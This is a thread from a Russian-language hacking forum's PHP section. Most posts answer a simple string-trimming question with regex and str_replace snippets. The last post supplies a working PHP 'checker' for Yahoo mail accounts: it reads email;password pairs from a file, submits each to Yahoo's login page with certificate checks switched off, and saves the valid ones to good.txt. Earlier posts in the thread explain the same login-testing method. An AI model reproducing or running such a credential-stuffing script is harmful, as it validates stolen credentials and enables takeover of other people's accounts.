HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #15771  
Старый 25.04.2010, 11:20
phpdreamer
Постоянный
Регистрация: 26.07.2009
Сообщений: 321
С нами: 8838619

Репутация: 123
По умолчанию

Gin, этот код нужно переписывать с нуля.
алгоритм такой (без всяких ф-й):
1)отправляем пост запрос с логином и паролем
2)ищем в ответе фразу о неправильном пароле, если ее нет, то все ок
никаких кукисов и юзерагентов там не нужно.

мб. я ошибаюсь, но скорей всего все делается одним запросом.
 
Ответить с цитированием

  #15772  
Старый 25.04.2010, 13:49
Gin
Участник форума
Регистрация: 11.09.2008
Сообщений: 107
С нами: 9296442

Репутация: 21
По умолчанию

2phpdreamer 2All
Да так и есть, можно и одним пост запросом, но данные которые грабяться тоже важны. Дело уже даже не в том чтобы написать чекер,а втом чтобы разобраться почему не работает. Если поможешь, то в долгу не останусь, просто я уже много способов перебпробовал.
 
Ответить с цитированием

  #15773  
Старый 25.04.2010, 15:04
phpdreamer
Постоянный
Регистрация: 26.07.2009
Сообщений: 321
С нами: 8838619

Репутация: 123
По умолчанию

не работает потому что https://
 
Ответить с цитированием

  #15774  
Старый 25.04.2010, 15:19
restart_05
Участник форума
Регистрация: 05.05.2009
Сообщений: 126
С нами: 8956766

Репутация: 8
По умолчанию

Имеется слово v267g92hg276ghg_engine. То что выделено красным постоянно меняется. Как можно вырезать из этого слова _engine ?
 
Ответить с цитированием

  #15775  
Старый 25.04.2010, 15:20
Gin
Участник форума
Регистрация: 11.09.2008
Сообщений: 107
С нами: 9296442

Репутация: 21
По умолчанию

2phpdreamer
ну так я ставлю эти опции

curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
 
Ответить с цитированием

  #15776  
Старый 25.04.2010, 15:21
d_x
Постоянный
Регистрация: 25.03.2008
Сообщений: 670
С нами: 9541766

Репутация: 2407


По умолчанию

restart_05,
PHP код:
<?php
$word
='v267g92hg276ghg_engine';
preg_match('/^(\S+)_engine$/',$word,$m);
print 
$m[1];
?>
 
Ответить с цитированием

  #15777  
Старый 25.04.2010, 15:23
Deathdreams
Постоянный
Регистрация: 08.11.2008
Сообщений: 498
С нами: 9213376

Репутация: 278
По умолчанию

Цитата:
Сообщение от restart_05  
Имеется слово v267g92hg276ghg_engine. То что выделено красным постоянно меняется. Как можно вырезать из этого слова _engine ?
PHP код:
$string "v267g92hg276ghg_engine";
$string preg_replace"#(.+)_engine#""\\1"$string ); 
Или регуляркой:
PHP код:
$string "v267g92hg276ghg_engine";
preg_match"#(.+)_engine#"$string$array );
      echo 
"Result: ".$array[1]; 
Или:
PHP код:

echo $string str_replace'_engine''''v267g92hg276ghg_engine' ); 

Последний раз редактировалось Deathdreams; 25.04.2010 в 15:26..
 
Ответить с цитированием

  #15778  
Старый 25.04.2010, 15:23
Gin
Участник форума
Регистрация: 11.09.2008
Сообщений: 107
С нами: 9296442

Репутация: 21
По умолчанию

2restart_05

$string="v267g92hg276ghg_engine";
$result=str_replace("_engine","",$string);
 
Ответить с цитированием

  #15779  
Старый 25.04.2010, 15:26
restart_05
Участник форума
Регистрация: 05.05.2009
Сообщений: 126
С нами: 8956766

Репутация: 8
По умолчанию

Спс
 
Ответить с цитированием

  #15780  
Старый 25.04.2010, 15:38
phpdreamer
Постоянный
Регистрация: 26.07.2009
Сообщений: 321
С нами: 8838619

Репутация: 123
По умолчанию

Gin, вот :
PHP код:
<?php
//*простой чекер мыл yahoo.com от phpdreamer (25.04.2010)

$mails file('file.txt'); //файл с мылами yahoo.com для проверки на валидность ( формат "id;password")
foreach($mails as $str)
{
    
$mas explode(';'trim($str));
    
$email $mas['0'];
    
$passw $mas['1'];
    
$ch curl_init('https://login.yahoo.com/config/login?');
    
curl_setopt($chCURLOPT_POST,1);
    
curl_setopt($chCURLOPT_POSTFIELDS '.tries=1&.src=my&.md5=&.hash=&.js=&.last=&promo=&.intl=us&.bypass=&.partner=&.u=fuc8gnp5t886p&.v=0&.challenge=PoeEPS58vFdvVdlcxeu6DrGU4XZe&.yplus=&.emailCode=&pkg=&stepid=&.ev=&hasMsgr=0&.chkP=Y&.done=http%3A%2F%2Fmy.yahoo.com&.pd=my_ver%3D0%26c%3DaMtFxUmp2e6zaBL942f2v6LoDw--%26ivt%3D%26sg%3D&login='.$email.'&passwd='.$passw.'&.persistent=y&.save=Sign+In');
    
curl_setopt($chCURLOPT_FOLLOWLOCATION  ,1);
    
curl_setopt($chCURLOPT_HEADER ,0);  
    
curl_setopt($chCURLOPT_RETURNTRANSFER  ,1);  
    
curl_setopt ($chCURLOPT_COOKIEFILE"cookie.txt");
    
curl_setopt ($chCURLOPT_COOKIEJAR"cookie.txt");
    
curl_setopt($chCURLOPT_SSL_VERIFYHOST,0);
    
curl_setopt($chCURLOPT_SSL_VERIFYPEER,false);
    
$RecData curl_exec($ch);
    
curl_close($ch); 

    if(
strpos($RecData'window.location.replace("http://my.yahoo.com");'))
    {
        
$valid $email .';' $passw;
        
$h fopen('good.txt''a+');
        
fwrite($h$valid "\n");
        
fclose($h);
    }
}
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[c/c++] Новичкам: задаем вопросы _Great_ С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby 5421 21.04.2026 07:37
Интернетчики задали российскому президенту очень странные вопросы podkashey Мировые новости. Обсуждения. 4 07.07.2006 16:53
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.